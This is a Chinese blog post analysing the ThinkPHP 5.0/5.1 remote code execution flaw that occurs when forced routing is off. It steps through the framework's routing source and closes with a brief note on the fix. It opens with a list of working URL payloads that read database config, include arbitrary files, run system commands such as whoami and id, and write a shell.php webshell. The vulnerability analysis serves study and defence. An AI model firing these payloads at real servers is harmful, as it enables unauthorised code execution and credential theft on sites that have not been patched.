thinkphp5.0.x未开启强制路由rce漏洞解析

影响版本:

5.0-5.0.23

5.1.*

 

5.0.*

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.1.*

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 

漏洞复现:

 

 

漏洞分析:

在app类执行run方法处下断点进行跟进

跟进到routeCheck方法

 

 routeCheck方法代码:

 1     public static function routeCheck($request, array $config)
 2     {
 3         $path   = $request->path();
 4         $depr   = $config['pathinfo_depr'];
 5         $result = false;
 6 
 7         // 路由检测
 8         $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
 9         if ($check) {
10             // 开启路由
11             if (is_file(RUNTIME_PATH . 'route.php')) {
12                 // 读取路由缓存
13                 $rules = include RUNTIME_PATH . 'route.php';
14                 is_array($rules) && Route::rules($rules);
15             } else {
16                 $files = $config['route_config_file'];
17                 foreach ($files as $file) {
18                     if (is_file(CONF_PATH . $file . CONF_EXT)) {
19                         // 导入路由配置
20                         $rules = include CONF_PATH . $file . CONF_EXT;
21                         is_array($rules) && Route::import($rules);
22                     }
23                 }
24             }
25 
26             // 路由检测(根据路由定义返回不同的URL调度)
27             $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
28             $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
29 
30             if ($must && false === $result) {
31                 // 路由无效
32                 throw new RouteNotFoundException();
33             }
34         }
35 
36         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
37         if (false === $result) {
38             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
39         }
40 
41         return $result;
42     }

继续跟进path方法:

 1     public function path()
 2     {
 3         if (is_null($this->path)) {
 4             $suffix   = Config::get('url_html_suffix');
 5             $pathinfo = $this->pathinfo();
 6             if (false === $suffix) {
 7                 // 禁止伪静态访问
 8                 $this->path = $pathinfo;
 9             } elseif ($suffix) {
10                 // 去除正常的URL后缀
11                 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
12             } else {
13                 // 允许任何后缀访问
14                 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
15             }
16         }
17         return $this->path;
18     }

通过path方法中的代码可以发现最后返回的值是通过pathinfo方法得到的,需要跟进一下看一看:

 1     public function pathinfo()
 2     {
 3         if (is_null($this->pathinfo)) {
 4             if (isset($_GET[Config::get('var_pathinfo')])) {
 5                 // 判断URL里面是否有兼容模式参数
 6                 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
 7                 unset($_GET[Config::get('var_pathinfo')]);
 8             } elseif (IS_CLI) {
 9                 // CLI模式下 index.php module/controller/action/params/...
10                 $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
11             }
12 
13             // 分析PATHINFO信息
14             if (!isset($_SERVER['PATH_INFO'])) {
15                 foreach (Config::get('pathinfo_fetch') as $type) {
16                     if (!empty($_SERVER[$type])) {
17                         $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
18                         substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
19                         break;
20                     }
21                 }
22             }
23             $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
24         }
25         return $this->pathinfo;
26     }

这里第5行中的兼容模式参数就是配置中所设置的

这里是判断传入的url中的参数是否含有s,如果有就将其赋值到给$_SERVER['PATH_INFO'],然后去除两边的 / 并将其值返回。

这里pathinfo的值就是我们传入的s参数的值

 

这里的判断就是队是否开启强制路由进行检测,如果开启强制路由就不会触发该rce,该配置默认是未开启的

 

 

 

通过parseUrl方法进行解析

 

 先将/替换成|,然后将将传入的$path就行解析

 

 跟进parseUrlPath方法:

    private static function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

最后得到$dispatch

 

跟进exec方法:

 

 跟进module方法:

先对控制器和操作名进行获取,并且通过controller和action方法赋值到$this变量中

 

接着跟进实例化控制器,controller方法,保存在$instance

最后通过反射来调用方法来执行命令

 

 使用call_user_func_array方法回调system函数执行了whoami命令

 

 

最后返回了$data值

 

 

修复:

对控制器名进行过滤

 

 

 参考:

https://www.cnblogs.com/0daybug/p/13739923.html

 

posted @ 2021-08-16 01:13  1jzz  阅读(637)  评论(0编辑  收藏  举报